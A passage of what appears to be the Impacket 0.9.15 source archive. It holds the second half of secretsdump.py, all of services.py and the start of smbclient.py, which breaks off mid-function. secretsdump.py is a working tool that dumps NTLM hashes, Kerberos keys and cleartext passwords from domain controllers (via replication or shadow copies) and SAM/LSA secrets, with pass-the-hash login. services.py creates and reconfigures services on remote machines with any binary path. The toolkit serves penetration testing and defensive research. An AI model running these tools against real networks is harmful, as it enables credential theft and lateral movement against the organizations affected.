crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser)) try: self.__decryptHash(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], hashesOutputFile) if self.__justNTLM is False: self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) except Exception, e: #import traceback #traceback.print_exc() logging.error("Error while processing user!") logging.error(str(e)) else: while status == STATUS_MORE_ENTRIES: resp = self.__remoteOps.getDomainUsers(enumerationContext) for user in resp['Buffer']['Buffer']: userName = user['Name'] userSid = self.__remoteOps.ridToSid(user['RelativeId']) if resumeSid is not None: # Means we're looking for a SID before start processing back again if resumeSid == userSid.formatCanonical(): # Match!, next round we will back processing logging.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical()) resumeSid = None else: logging.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical()) continue # Let's crack the user sid into DS_FQDN_1779_NAME # In theory I shouldn't need to crack the sid. Instead # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=userSid.formatCanonical()) if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: logging.error("%s: %s" % system_errors.ERROR_MESSAGES[ 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) break userRecord = self.__remoteOps.DRSGetNCChanges( crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) # userRecord.dump() replyVersion = 'V%d' % userRecord['pdwOutVersion'] if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: raise Exception('DRSGetNCChanges didn\'t return any object!') else: logging.warning('DRSCrackNames returned %d items for user %s, skipping' % ( crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) try: self.__decryptHash(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], hashesOutputFile) if self.__justNTLM is False: self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) except Exception, e: #import traceback #traceback.print_exc() logging.error("Error while processing user!") logging.error(str(e)) # Saving the session state resumeFile.seek(0,0) resumeFile.truncate(0) resumeFile.write(userSid.formatCanonical()) resumeFile.flush() enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] # Everything went well and we covered all the users # Let's remove the resume file is we had created it if self.__justUser is None: resumeFile.close() os.remove(tmpName) self.__resumeSessionFile = None logging.debug("Finished processing and printing user's hashes, now printing supplemental information") # Now we'll print the Kerberos keys. So we don't mix things up in the output. if len(self.__kerberosKeys) > 0: if self.__useVSSMethod is True: logging.info('Kerberos keys from %s ' % self.__NTDS) else: logging.info('Kerberos keys grabbed') for itemKey in self.__kerberosKeys.keys(): print itemKey # And finally the cleartext pwds if len(self.__clearTextPwds) > 0: if self.__useVSSMethod is True: logging.info('ClearText password from %s ' % self.__NTDS) else: logging.info('ClearText passwords grabbed') for itemKey in self.__clearTextPwds.keys(): print itemKey # Closing output file if self.__outputFileName is not None: hashesOutputFile.close() if self.__justNTLM is False: keysOutputFile.close() clearTextOutputFile.close() @classmethod def __writeOutput(cls, fd, data): try: fd.write(data) except Exception, e: logging.error("Error writing entry, skippingi (%s)" % str(e)) pass def finish(self): if self.__NTDS is not None: self.__ESEDB.close() class DumpSecrets: def __init__(self, address, username='', password='', domain='', options=None): self.__useVSSMethod = options.use_vss self.__remoteAddr = address self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__systemHive = options.system self.__securityHive = options.security self.__samHive = options.sam self.__ntdsFile = options.ntds self.__history = options.history self.__noLMHash = True self.__isRemote = True self.__outputFileName = options.outputfile self.__doKerberos = options.k self.__justDC = options.just_dc self.__justDCNTLM = options.just_dc_ntlm self.__justUser = options.just_dc_user self.__pwdLastSet = options.pwd_last_set self.__resumeFileName = options.resumefile self.__canProcessSAMLSA = True self.__kdcHost = options.dc_ip if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self): self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def getBootKey(self): # Local Version whenever we are given the files directly bootKey = '' tmpKey = '' winreg = winregistry.Registry(self.__systemHive, self.__isRemote) # We gotta find out the Current Control Set currentControlSet = winreg.getValue('\\Select\\Current')[1] currentControlSet = "ControlSet%03d" % currentControlSet for key in ['JD','Skew1','GBG','Data']: logging.debug('Retrieving class info for %s'% key) ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key)) digit = ans[:16].decode('utf-16le') tmpKey = tmpKey + digit transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] tmpKey = unhexlify(tmpKey) for i in xrange(len(tmpKey)): bootKey += tmpKey[transforms[i]] logging.info('Target system bootKey: 0x%s' % hexlify(bootKey)) return bootKey def checkNoLMHashPolicy(self): logging.debug('Checking NoLMHash Policy') winreg = winregistry.Registry(self.__systemHive, self.__isRemote) # We gotta find out the Current Control Set currentControlSet = winreg.getValue('\\Select\\Current')[1] currentControlSet = "ControlSet%03d" % currentControlSet #noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) if noLmHash is not None: noLmHash = noLmHash[1] else: noLmHash = 0 if noLmHash != 1: logging.debug('LMHashes are being stored') return False logging.debug('LMHashes are NOT being stored') return True def dump(self): try: if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False self.__useVSSMethod = True bootKey = self.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = self.checkNoLMHashPolicy() else: self.__isRemote = True bootKey = None try: self.connect() self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() except Exception, e: self.__canProcessSAMLSA = False logging.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception, e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception, e: logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: if self.__useVSSMethod and self.__remoteOps is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser) try: self.__NTDSHashes.dump() except Exception, e: logging.error(e) if self.__useVSSMethod is False: logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt), e: #import traceback #print traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = raw_input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass def cleanup(self): logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish() # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from the remote machine without executing any agent there.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL (if you want to parse local files)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-system', action='store', help='SYSTEM hive to parse') parser.add_argument('-security', action='store', help='SECURITY hive to parse') parser.add_argument('-sam', action='store', help='SAM hive to parse') parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session\'s state') parser.add_argument('-outputfile', action='store', help='base output filename. Extensions will be added for sam, secrets, cached and ntds') parser.add_argument('-use-vss', action='store_true', default=False, help='Use the VSS method insead of default DRSUAPI') group = parser.add_argument_group('display options') group.add_argument('-just-dc-user', action='store', metavar='USERNAME', help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch') group.add_argument('-just-dc', action='store_true', default=False, help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') group.add_argument('-just-dc-ntlm', action='store_true', default=False, help='Extract only NTDS.DIT data (NTLM hashes only)') group.add_argument('-pwd-last-set', action='store_true', default=False, help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') group.add_argument('-history', action='store_true', help='Dump password history') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if options.just_dc_user is not None: if options.use_vss is True: logging.error('-just-dc-user switch is not supported in VSS mode') sys.exit(1) elif options.resumefile is not None: logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch') sys.exit(1) elif address.upper() == 'LOCAL' and username == '': logging.error('-just-dc-user not compatible in LOCAL mode') sys.exit(1) else: # Having this switch on implies not asking for anything else. options.just_dc = True if options.use_vss is True and options.resumefile is not None: logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') sys.exit(1) if address.upper() == 'LOCAL' and username == '' and options.resumefile is not None: logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') sys.exit(1) if address.upper() == 'LOCAL' and username == '': if options.system is None: logging.error('SYSTEM hive is always required for local parsing, check help') sys.exit(1) else: if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True dumper = DumpSecrets(address, username, password, domain, options) try: dumper.dump() except Exception, e: logging.error(e) impacket-0.9.15/examples/services.py0000700000076500000000000004003212734531507017464 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # [MS-SCMR] services common functions for manipulating services # # Author: # Alberto Solino (@agsolino) # # Reference for: # DCE/RPC. # TODO: # [ ] Check errors import sys import argparse import logging import codecs from impacket.examples import logger from impacket import version from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5.ndr import NULL from impacket.crypto import * class SVCCTL: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } def __init__(self, username, password, domain, options): self.__username = username self.__password = password self.__protocol = SVCCTL.KNOWN_PROTOCOLS.keys() self.__options = options self.__action = options.action.upper() self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__doKerberos = options.k self.__kdcHost = options.dc_ip if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def run(self, addr): # Try all requested protocols until one works. for protocol in self.__protocol: protodef = SVCCTL.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s..." % protocol) stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) try: self.doStuff(rpctransport) except Exception, e: #import traceback #traceback.print_exc() logging.critical(str(e)) break else: # Got a response. No need for further iterations. break def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() #dce.set_credentials(self.__username, self.__password) dce.connect() #dce.set_max_fragment_size(1) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) dce.bind(scmr.MSRPC_UUID_SCMR) #rpc = svcctl.DCERPCSvcCtl(dce) rpc = dce ans = scmr.hROpenSCManagerW(rpc) scManagerHandle = ans['lpScHandle'] if self.__action != 'LIST' and self.__action != 'CREATE': ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00') serviceHandle = ans['lpServiceHandle'] if self.__action == 'START': logging.info("Starting service %s" % self.__options.name) scmr.hRStartServiceW(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'STOP': logging.info("Stopping service %s" % self.__options.name) scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'DELETE': logging.info("Deleting service %s" % self.__options.name) scmr.hRDeleteService(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'CONFIG': logging.info("Querying service config for %s" % self.__options.name) resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) print "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'], if resp['lpServiceConfig']['dwServiceType'] & 0x1: print "SERVICE_KERNEL_DRIVER ", if resp['lpServiceConfig']['dwServiceType'] & 0x2: print "SERVICE_FILE_SYSTEM_DRIVER ", if resp['lpServiceConfig']['dwServiceType'] & 0x10: print "SERVICE_WIN32_OWN_PROCESS ", if resp['lpServiceConfig']['dwServiceType'] & 0x20: print "SERVICE_WIN32_SHARE_PROCESS ", if resp['lpServiceConfig']['dwServiceType'] & 0x100: print "SERVICE_INTERACTIVE_PROCESS ", print "" print "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'], if resp['lpServiceConfig']['dwStartType'] == 0x0: print "BOOT START" elif resp['lpServiceConfig']['dwStartType'] == 0x1: print "SYSTEM START" elif resp['lpServiceConfig']['dwStartType'] == 0x2: print "AUTO START" elif resp['lpServiceConfig']['dwStartType'] == 0x3: print "DEMAND START" elif resp['lpServiceConfig']['dwStartType'] == 0x4: print "DISABLED" else: print "UNKOWN" print "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'], if resp['lpServiceConfig']['dwErrorControl'] == 0x0: print "IGNORE" elif resp['lpServiceConfig']['dwErrorControl'] == 0x1: print "NORMAL" elif resp['lpServiceConfig']['dwErrorControl'] == 0x2: print "SEVERE" elif resp['lpServiceConfig']['dwErrorControl'] == 0x3: print "CRITICAL" else: print "UNKOWN" print "BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1] print "LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1] print "TAG : %d" % resp['lpServiceConfig']['dwTagId'] print "DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1] print "DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1] print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1] elif self.__action == 'STATUS': print "Querying status for %s" % self.__options.name resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) print "%30s - " % self.__options.name, state = resp['lpServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: print "CONTINUE PENDING" elif state == scmr.SERVICE_PAUSE_PENDING: print "PAUSE PENDING" elif state == scmr.SERVICE_PAUSED: print "PAUSED" elif state == scmr.SERVICE_RUNNING: print "RUNNING" elif state == scmr.SERVICE_START_PENDING: print "START PENDING" elif state == scmr.SERVICE_STOP_PENDING: print "STOP PENDING" elif state == scmr.SERVICE_STOPPED: print "STOPPED" else: print "UNKOWN" elif self.__action == 'LIST': logging.info("Listing services available on target") #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle) for i in range(len(resp)): print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), state = resp[i]['ServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: print "CONTINUE PENDING" elif state == scmr.SERVICE_PAUSE_PENDING: print "PAUSE PENDING" elif state == scmr.SERVICE_PAUSED: print "PAUSED" elif state == scmr.SERVICE_RUNNING: print "RUNNING" elif state == scmr.SERVICE_START_PENDING: print "START PENDING" elif state == scmr.SERVICE_STOP_PENDING: print "STOP PENDING" elif state == scmr.SERVICE_STOPPED: print "STOPPED" else: print "UNKOWN" print "Total Services: %d" % len(resp) elif self.__action == 'CREATE': logging.info("Creating service %s" % self.__options.name) scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00', lpBinaryPathName=self.__options.path + '\x00') elif self.__action == 'CHANGE': logging.info("Changing service config for %s" % self.__options.name) if self.__options.start_type is not None: start_type = int(self.__options.start_type) else: start_type = scmr.SERVICE_NO_CHANGE if self.__options.service_type is not None: service_type = int(self.__options.service_type) else: service_type = scmr.SERVICE_NO_CHANGE if self.__options.display is not None: display = self.__options.display + '\x00' else: display = NULL if self.__options.path is not None: path = self.__options.path + '\x00' else: path = NULL if self.__options.start_name is not None: start_name = self.__options.start_name + '\x00' else: start_name = NULL if self.__options.password is not None: s = rpctransport.get_smb_connection() key = s.getSessionKey() try: password = (self.__options.password+'\x00').encode('utf-16le') except UnicodeDecodeError: import sys password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le') password = encryptSecret(key, password) else: password = NULL #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password) scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display) scmr.hRCloseServiceHandle(rpc, serviceHandle) else: logging.error("Unknown action %s" % self.__action) scmr.hRCloseServiceHandle(rpc, scManagerHandle) dce.disconnect() return # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='actions', dest='action') # A start command start_parser = subparsers.add_parser('start', help='starts the service') start_parser.add_argument('-name', action='store', required=True, help='service name') # A stop command stop_parser = subparsers.add_parser('stop', help='stops the service') stop_parser.add_argument('-name', action='store', required=True, help='service name') # A delete command delete_parser = subparsers.add_parser('delete', help='deletes the service') delete_parser.add_argument('-name', action='store', required=True, help='service name') # A status command status_parser = subparsers.add_parser('status', help='returns service status') status_parser.add_argument('-name', action='store', required=True, help='service name') # A config command config_parser = subparsers.add_parser('config', help='returns service configuration') config_parser.add_argument('-name', action='store', required=True, help='service name') # A list command list_parser = subparsers.add_parser('list', help='list available services') # A create command create_parser = subparsers.add_parser('create', help='create a service') create_parser.add_argument('-name', action='store', required=True, help='service name') create_parser.add_argument('-display', action='store', required=True, help='display name') create_parser.add_argument('-path', action='store', required=True, help='binary path') # A change command create_parser = subparsers.add_parser('change', help='change a service configuration') create_parser.add_argument('-name', action='store', required=True, help='service name') create_parser.add_argument('-display', action='store', required=False, help='display name') create_parser.add_argument('-path', action='store', required=False, help='binary path') create_parser.add_argument('-service_type', action='store', required=False, help='service type') create_parser.add_argument('-start_type', action='store', required=False, help='service start type') create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of the account under which the service should run') create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of the account whose name was specified by the start_name parameter') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") services = SVCCTL(username, password, domain, options) try: services.run(address) except Exception, e: logging.error(str(e)) impacket-0.9.15/examples/smbclient.py0000700000076500000000000004330012734531507017622 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: Mini shell using some of the SMB funcionality of the library # # Author: # Alberto Solino (@agsolino) # # # Reference for: # SMB DCE/RPC # import sys import time import logging import argparse import cmd import os from impacket.examples import logger from impacket import version from impacket.dcerpc.v5 import samr, transport, srvs from impacket.dcerpc.v5.dtypes import NULL from impacket.smbconnection import * # If you wanna have readline like functionality in Windows, install pyreadline try: import pyreadline as readline except ImportError: import readline class MiniImpacketShell(cmd.Cmd): def __init__(self, smbClient): cmd.Cmd.__init__(self) self.prompt = '# ' self.smb = smbClient self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials() self.tid = None self.intro = 'Type help for list of commands' self.pwd = '' self.share = None self.loggedIn = True self.last_output = None self.completion = [] def emptyline(self): pass def precmd(self,line): # switch to unicode return line.decode('utf-8') def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception, e: #import traceback #print traceback.print_exc() logging.error(e) return retVal def do_exit(self,line): return True def do_shell(self, line): output = os.popen(line).read() print output self.last_output = output def do_help(self,line): print """ open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} lcd {path} - changes the current local directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) """ def do_password(self, line): if self.loggedIn is False: logging.error("Not logged in") return from getpass import getpass newPassword = getpass("New Password:") rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\samr', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', self.username, self.password, newPassword, self.lmhash, self.nthash) self.password = newPassword self.lmhash = None self.nthash = None def do_open(self,line): l = line.split(' ') port = 445 if len(l) > 0: host = l[0] if len(l) > 1: port = int(l[1]) if port == 139: self.smb = SMBConnection('*SMBSERVER', host, sess_port=port) else: self.smb = SMBConnection(host, host, sess_port=port) dialect = self.smb.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.share = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_login(self,line): if self.smb is None: logging.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if password == '' and username != '': from getpass import getpass password = getpass("Password:") self.smb.login(username, password, domain=domain) self.password = password self.username = username if self.smb.isGuestSession() > 0: logging.info("GUEST Session Granted") else: logging.info("USER Session Granted") self.loggedIn = True def do_kerberos_login(self,line): if self.smb is None: logging.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if domain == '': logging.error("Domain must be specified for Kerberos login") return if password == '' and username != '': from getpass import getpass password = getpass("Password:") self.smb.kerberosLogin(username, password, domain=domain) self.password = password self.username = username if self.smb.isGuestSession() > 0: logging.info("GUEST Session Granted") else: logging.info("USER Session Granted") self.loggedIn = True def do_login_hash(self,line): if self.smb is None: logging.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: logging.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: logging.info("GUEST Session Granted") else: logging.info("USER Session Granted") self.loggedIn = True def do_logoff(self, line): if self.smb is None: logging.error("No connection open") return self.smb.logoff() del self.smb self.share = None self.smb = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_info(self, line): if self.loggedIn is False: logging.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) print "Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'] print "Version Minor: %d" % 